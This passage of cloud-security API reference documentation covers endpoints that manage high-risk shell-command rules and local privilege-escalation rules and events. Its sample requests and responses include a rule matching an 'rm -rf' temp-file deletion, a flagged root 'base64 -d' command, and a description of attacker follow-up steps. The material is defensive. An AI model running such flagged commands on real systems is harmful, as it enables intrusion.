"RequestId": "18db3474-a2a2-4763-9e36-d1379a98194c"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.

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InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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SwitchBashRules

Last updated：2024-12-06 15:41:08

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to switch the statuses of high-risk command rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: SwitchBashRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Rule ID
Disabled	Yes	Integer	Whether to disable

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Switching a High-risk Command Rule Status

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=SwitchBashRules
&Id=100
&Disabled=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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CheckBashPolicyParams

Last updated：2024-12-06 15:41:17

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to verify parameters entered for adding and editing high-risk command user rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CheckBashPolicyParams.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
CheckField	Yes	String	Verify content Name or Rule. (Use a comma to separate them if both need to be verified.)
EventId	No	Integer	Event ID needs to be submitted when allowlisting an event in the event list.
Name	No	String	Name of rule to be entered
Rule	No	String	The regular expression to be entered by the user: It must match command content corresponding to the submitted EventId.

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Id	No	Integer	Rule ID passed during editing

3. Output Parameters

Parameter Name	Type	Description
ErrCode	Integer	0: verification passed; 1: rule name verification failed; 2: regular expression verification failed.
ErrMsg	String	Verification information
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CheckBashPolicyParams
<Common request parameters>

{
"Rule": "rm -rf /tmp/tmp\\.ERYbwgd8e9",
"Name": "mapleaa",
"EventId": 1098230,
"CheckField": "Name,Rule"
}
```

Output Example

```
{
"Response": {
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289",
"ErrCode": 2,
```

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```
"ErrMsg": "The regular expression does not match the command."
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.

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CheckBashRuleParams

Last updated：2025-03-11 23:00:05

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to verify parameters entered for adding and editing high-risk command user rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CheckBashRuleParams.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
CheckField	Yes	String	Verify content Name or Rule. (Use a comma to separate them if both need to be verified.)
EventId	No	Integer	Event ID needs to be submitted when allowlisting an event in the event list.
Name	No	String	Name of rule to be entered
Rule	No	String	The regular expression to be entered by the user: It must match command content corresponding to the submitted EventId.
Id	No	Integer	Rule ID passed during editing

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3. Output Parameters

Parameter Name	Type	Description
ErrCode	Integer	0: verification passed; 1: rule name verification failed; 2: regular expression verification failed.
ErrMsg	String	Verification information
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Verifying High-Risk Command Rules

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CheckBashRuleParams
<common request parameters>

{
"Rule": "rm -rf /tmp/tmp\\.ERYbwgd8e9",
"Name": "mapleaa",
"EventId": 1098230,
"CheckField": "Name,Rule"
}
```

Output Example

```
{
"Response": {
"ErrCode": 2,
"ErrMsg": "The regular expression does not match the command line content.",
"RequestId": "d92d723e-4aac-4f4a-bbf9-e5430e29d289"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.

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DescribeBashEventsInfo

Last updated：2025-03-11 23:00:05

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query high-risk command event details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBashEventsInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Event ID

3. Output Parameters

Parameter Name	Type	Description
BashEventsInfo	BashEventsInfo	Event details

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		Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBashEventsInfo
<Common request parameters>

{
"Id": 12
}
```

Output Example

```
{
"Response": {
"BashEventsInfo": {
"BashCmd": "base64 -d",
"CreateTime": "2024-10-24 16:20:57",
"DetectBy": "1",
"Exe": "/usr/bin/base64",
"HarmDescribe": "After hacking the server, in order to carry out the next malicio
us operation, the hacker will perform malicious file download, connect to the min
ing pool, add public keys, and view sensitive files.",
"HostIp": "1.1.1.1",
"Id": 10001,
"MachineName": "Machine name",
"MachineStatus": "ONLINE",
"MachineWanIp": "1.1.1.1",
"ModifyTime": "2024-10-24 16:20:58",
"Pid": "5747",
"Platform": 4,
```

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```
"PsTree": "[{\"pid\":5747,\"exe\":\"/usr/bin/base64\",\"account\":\"root:root
\",\"cmdline\":\"base64 -d\",\"ssh_service\":\"1.1.1.1\",\"ssh_source\":\"1.1.1.
1:2578\",\"start_time\":1729758057,\"type\":1},{\"pid\":4461,\"exe\":\"/usr/bin/b
ash\",\"account\":\"root:root\",\"cmdline\":\"-bash\",\"ssh_service\":\"1.1.1.1:2
2\",\"ssh_source\":\"1.1.1.1:2578\",\"start_time\":1729757844,\"type\":2}]",
"Quuid": "fcf85fc9-f45e-457a-bca4-fcae074eda32",
"References": [],
"RegexBashCmd": "base64 -d",
"RuleCategory": 1,
"RuleId": 0,
"RuleLevel": 1,
"RuleName": "sh block",
"Status": 5,
"SuggestScheme": "1. Check malicious processes and invalid ports, and delete susp
icious startup items and scheduled tasks.\n2. Isolate or delete related Trojan fi
les.\n3. Check system risks and harden system security. For details, see the foll
owing link: xa0\n[Linux]https://cloud.tencent.com/document/product/296/9604xa0\n
[Windows]https://cloud.tencent.com/document/product/296/9605",
"Tags": [],
"User": "0:0",
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7"
},
"RequestId": "41030e32-67ec-4f07-858c-432ea384ad5a"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.
ResourceNotFound.MachineNotFound	The scanning machine does not exist.
ResourceUnavailable	The resource is not available.

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DescribeBashEventsInfoNew

Last updated：2025-03-11 23:00:04

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query high-risk command event details (new).

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBashEventsInfoNew.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Event ID

3. Output Parameters

Parameter Name	Type	Description
BashEventsInfo	BashEventsInfoNew	Event details

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		Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Detailed Information of a High-Risk Command

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBashEventsInfoNew
<common request parameters>

{
"Id": 12
}
```

Output Example


```
{
"Response": {
"BashEventsInfo": {
"BashCmd": "base64 -d",
"CreateTime": "2024-10-24 16:20:58",
"DetectBy": 1,
"Exe": "/usr/bin/base64",
"HarmDescribe": "After hacking the server, in order to carry out the next malicio
us operation, the hacker will perform malicious file download, connect to the min
ing pool, add public keys, and view sensitive files.",
"HostIp": "1.1.1.1",
"Id": 10001,
"MachineName": "Machine name",
"MachineStatus": "ONLINE",
"MachineType": 2,
"MachineWanIp": "1.1.1.1",
"ModifyTime": "2024-10-24 16:20:58",
"Pid": "5747",
```


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```
"Platform": 4,
"PsTree": "/bin/sshd",
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"References": [],
"RegexBashCmd": "base64 -d",
"RuleCategory": 1,
"RuleId": 31390,
"RuleLevel": 1,
"RuleName": "sh block",
"Status": 5,
"SuggestScheme": "1. Check malicious processes and invalid ports, and delete susp
icious startup items and scheduled tasks.\n2. Isolate or delete related Trojan fi
les.\n3. Check system risks and harden system security. For details, see the foll
owing link: xa0\n[Linux] https://cloud.tencent.com/document/product/296/9604xa0\n
[Windows] https://cloud.tencent.com/document/product/296/9605",
"Tags": [],
"User": "0:0",
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7"
},
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.
ResourceNotFound.MachineNotFound	The scanning machine does not exist.
ResourceUnavailable	The resource is not available.

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ExportBashEvents

Last updated：2024-12-06 15:41:11

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export high-risk command events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportBashEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter parameters

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	Export file download link
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting High-risk Command Events

This example shows you how to export high-risk command events.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportBashEvents
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"DownloadUrl": "http://download.url/test.csv",
"TaskId": "1133345"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.Export	Failed to export the file.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.

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ExportBashEventsNew

Last updated：2024-12-06 15:41:10

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export high-risk command events (new).

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportBashEventsNew.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter parameters

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	This parameter has been deprecated.
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting High-risk Command Events

This example shows you how to export high-risk command events.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportBashEventsNew
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"DownloadUrl": "http://download.url/test.csv",
"TaskId": "1133345"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.Export	Failed to export the file.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.

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ExportBashPolicies

Last updated：2024-12-06 15:41:10

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the high-risk command policy.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportBashPolicies.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter parameters

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	This parameter has been discarded.
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to export.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportBashPolicies
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"DownloadUrl": "https://cwp-1258344***.cos.ap-guangzhou.myqcloud.com/file.txt",
"RequestId": "3f9a95a9-128e-45b4-a78f-3b1420590c76",
"TaskId": "1663640357"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.Export	Failed to export the file.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.

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Local Privilege Escalation APIs
DeletePrivilegeEvents

Last updated：2024-12-06 15:41:07

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete local privilege escalation based on IDs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeletePrivilegeEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	No	Array of Integer	ID array, with the maximum number being 100.

3. Output Parameters

Parameter	Type	Description

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Name		
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Local Privilege Escalation Events

This example shows you how to delete local privilege escalation events.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeletePrivilegeEvents
&Ids.0=1
&Ids.1=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Go
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- Tencent Cloud SDK 3.0 for .NET

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribePrivilegeRules

Last updated：2024-12-06 15:41:06

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of local privilege escalation rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribePrivilegeRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of returns, with the maximum value being 100.
Offset	No	Integer	Offset, which defaults to 0
Filters.N	No	Array of Filter	Filter criteria • Keywords - String - required: no - keyword (process name)

3. Output Parameters

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Parameter Name	Type	Description
List	Array of PrivilegeRule	List content
TotalCount	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Getting Local Privilege Escalation Rule List

This example shows you how to get local privilege escalation rule list.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribePrivilegeRules
&<Common request parameters>
```

Output Example


```
{
"Response": {
"TotalCount": 1,
"List": [
{
"Id": 10001,
"Uuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"ProcessName": "privilege",
"SMode": 1,
"Operator": "zhangsan",
"Status": 0,
"IsGlobal": 0,
"CreateTime": "2024-08-23 17:13:47",
"ModifyTime": "2024-08-23 17:13:47",
"Hostip": "1.1.1.1"
}
],
"RequestId": "be6f6eec-0825-4e67-ab9a-c8568bbf736c"
```


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```
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.

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MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DeletePrivilegeRules

Last updated：2024-12-06 15:41:07

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete local privilege elevation rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeletePrivilegeRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	ID array, with the maximum value being 100.

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Local Privilege Escalation Rules

This example shows you how to delete the local privilege escalation rule.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeletePrivilegeRules
&Ids.0=1
&Ids.1=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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EditPrivilegeRules

Last updated：2024-12-06 15:41:06

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add or modify local privilege escalation rules (multiple servers supported).

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: EditPrivilegeRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	No	Integer	Rule ID (Leave it blank when adding rules.)
Uuids.N	No	Array of String	Client ID array
HostIp	No	String	Host IP
ProcessName	No	String	Process name
SMode	No	Integer	Whether it is a S permission process

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IsGlobal	No	Integer	Whether the rule is global (not global by default)
EventId	No	Integer	ID of the associated event when the user clicks Add to Allowlist on the event list and details page (leave this parameter blank for rule addition)

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Adding/Modifying Local Privilege Escalation Rules (Multiple Servers Supported)

This example shows you how to add and modify local privilege escalation rules (multiple servers supported).

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=EditPrivilegeRules
&ProcessName=test
&SMode=1
&IsGlobal=0
&Uuids.0=11
&Uuids.1=12
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameter.RegexRuleError	The regular expression parameter format is incorrect.
InvalidParameter.RuleHostipErr	Rule-based API with incorrect host IPs.

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LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribePrivilegeEventInfo

Last updated：2025-03-11 23:00:03

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain local privilege escalation information details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
